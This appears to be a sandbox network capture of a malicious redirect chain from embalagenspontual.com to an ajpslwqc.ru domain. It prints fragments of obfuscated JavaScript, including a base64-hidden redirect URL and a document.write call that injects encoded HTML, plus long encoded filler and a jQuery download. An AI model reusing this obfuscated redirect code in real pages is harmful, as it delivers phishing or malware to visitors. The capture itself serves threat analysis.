2025-03-14 12:29:01 UTC	7178	IN	Data Raw: 65 38 36 2c 5f 30 78 64 33 31 32 62 66 2c 5f 30 78 34 33 34 66 61 32 29 7b 72 65 74 75 72 6e 20 5f 30 78 33 31 61 64 39 31 28 5f 30 78 34 33 34 66 61 32 2d 30 78 32 33 36 2c 5f 30 78 33 35 32 64 66 36 2c 5f 30 78 64 33 31 32 62 66 2d 30 78 38 35 2c 5f 30 78 34 33 34 66 61 32 2d 30 78 31 36 37 29 3b 7d 69 66 28 5f 30 78 34 62 33 64 62 63 5b 5f 30 78 63 37 39 31 36 28 30 78 33 30 61 2c 30 78 33 32 32 2c 30 78 33 32 64 2c 30 78 33 31 33 29 5d 28 5f 30 78 34 62 33 64 62 63 5b 5f 30 78 63 37 39 31 36 28 30 78 32 65 36 2c 30 78 32 63 66 2c 30 78 33 30 38 2c 30 78 32 65 66 29 5d 2c 5f 30 78 34 62 33 64 62 63 5b 5f 30 78 63 37 39 31 36 28 30 78 33 31 32 2c 30 78 32 65 35 2c 30 78 33 31 36 2c 30 78 32 66 66 29 5d 29 29 7b 76 61 72 20 5f 30 78 38 66 37 32 66 39 3d Data Ascii: e86,_0xd312bf,_0x434fa2){return _0x31ad91(_0x434fa2-0x236,_0x352df6,_0xd312bf-0x85,_0x434fa2-0x167);}if(_0x4b3dbc[_0xc7916(0x30a,0x322,0x32d,0x313)](_0x4b3dbc[_0xc7916(0x2e6,0x2cf,0x308,0x2ef)],_0x4b3dbc[_0xc7916(0x312,0x2e5,0x316,0x2ff)])){var _0x8f72f9=
2025-03-14 12:29:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:02 UTC	700	OUT	GET /seeNfYk/ HTTP/1.1 Host: p00.ajpslwqc.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://embalagenspontual.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:02 UTC	1206	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 12:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=17cUP5kHIiOT0G3YTbv0zI%2FtBJmTeXp4DtNXmGBe7559GY2sLzlOrIlwa9xPgX9zjAs4z%2FuFM2Oa%2F0vgUWhqDyelKPHmrh8I5MbeximOe%2FxrQOL2gWgUxiQxOn4j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=5718&min_rtt=5714&rtt_var=2151&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1596&delivery_rate=495562&cwnd=250&unsent_bytes=0&cid=89a2652a31252c7d&ts=200&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkttdmRGNkJzT3RjbWpHSUlURVQzbEE9PSIsInZhbHVlIjoieGJZYVN2ME5mYjVSb1JScnlIbSs1bkNUUWd6eE4wRXBqTVowWGV6My9KUTJldE1GWEVIK01JQXVuUTArSVFDWlBtMWdvOEhWWlhXaldjbzZtN0M0RUJ4d2h6S2JDTVJPZlV6K2NMNnFGeWYxclhtY0VSUFJkWkw0NHFnQ1ZFQXAiLCJtYWMiOiI4MWU0NTA3Y2JlNGZmYjE1MmU0MDc2MGYzYzdiNDUwNDQ0YTg2MDNlMjU4ZjdlOGZmYzZmNTdlYjk3Mzk1YmE2IiwidGFnIjoiIn0%3D; expires=Fri, 14-Mar-2025 14:29:02 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-14 12:29:02 UTC	761	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 42 51 56 55 52 69 63 47 4a 35 57 45 68 32 53 7a 42 6e 56 57 56 68 62 57 31 69 55 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 56 67 77 4f 57 56 31 4d 47 56 79 55 54 56 54 4e 45 39 4c 59 55 35 31 53 55 39 31 53 6d 49 77 4d 47 31 59 65 6e 52 32 51 6d 35 6c 56 54 63 30 52 46 70 42 4e 57 39 6d 61 45 64 48 57 55 6c 6d 52 30 68 71 52 7a 4a 7a 54 45 46 4b 4e 56 56 35 65 6b 64 54 4e 45 56 6a 53 44 6c 69 54 6e 68 55 56 33 70 4b 57 45 70 30 65 58 6c 49 62 46 52 78 59 6d 78 47 5a 6c 4a 57 64 6c 67 33 4e 45 64 32 61 32 64 55 51 58 68 6b 63 6b 45 30 65 46 56 31 63 44 55 77 56 6c 4a 47 57 54 4e 4d 62 46 64 54 65 58 68 4c 61 58 68 79 63 57 34 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlBQVURicGJ5WEh2SzBnVWVhbW1iUFE9PSIsInZhbHVlIjoicVgwOWV1MGVyUTVTNE9LYU51SU91SmIwMG1YenR2Qm5lVTc0RFpBNW9maEdHWUlmR0hqRzJzTEFKNVV5ekdTNEVjSDliTnhUV3pKWEp0eXlIbFRxYmxGZlJWdlg3NEd2a2dUQXhkckE0eFV1cDUwVlJGWTNMbFdTeXhLaXhycW4
2025-03-14 12:29:02 UTC	1369	IN	Data Raw: 38 38 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 4d 78 50 59 48 52 55 72 63 6c 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 78 57 6e 45 75 59 57 70 77 63 32 78 33 63 57 4d 75 63 6e 55 76 63 32 56 6c 54 6d 5a 5a 61 79 38 3d 22 29 3b 0a 57 41 73 6d 61 4e 5a 46 4d 79 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 66 50 74 71 5a 5a 4f 5a 74 49 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 4d 78 50 59 48 52 55 72 63 6c 20 3d 3d 20 57 41 73 6d 61 4e 5a 46 4d 79 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 66 50 74 71 5a 5a 4f 5a 74 49 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 Data Ascii: 889<script>MxPYHRUrcl = atob("aHR0cHM6Ly9xWnEuYWpwc2x3cWMucnUvc2VlTmZZay8=");WAsmaNZFMy = atob("bm9tYXRjaA==");fPtqZZOZtI = atob("d3JpdGU=");if(MxPYHRUrcl == WAsmaNZFMy){document[fPtqZZOZtI](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+Cjxod
2025-03-14 12:29:02 UTC	823	IN	Data Raw: 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 Data Ascii: k776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44
2025-03-14 12:29:02 UTC	1369	IN	Data Raw: 34 36 36 38 0d 0a 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 Data Ascii: 4668776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk7
2025-03-14 12:29:02 UTC	1369	IN	Data Raw: 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 Data Ascii: g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk77
2025-03-14 12:29:02 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 Data Ascii: 776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk44Wk776
2025-03-14 12:29:02 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b Data Ascii: 4Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk
2025-03-14 12:29:02 UTC	1369	IN	Data Raw: 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 Data Ascii: 6g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk7
2025-03-14 12:29:02 UTC	1369	IN	Data Raw: 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 Data Ascii: g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g776g44Wk44Wk776g44
2025-03-14 12:29:02 UTC	1369	IN	Data Raw: 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 Data Ascii: 776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk44W

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:03 UTC	662	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://p00.ajpslwqc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:03 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 14 Mar 2025 12:29:03 GMT Age: 624326 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740042-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 2 X-Timer: S1741955344.889515,VS0,VE0 Vary: Accept-Encoding
2025-03-14 12:29:04 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-14 12:29:04 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-14 12:29:04 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-14 12:29:04 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-14 12:29:04 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
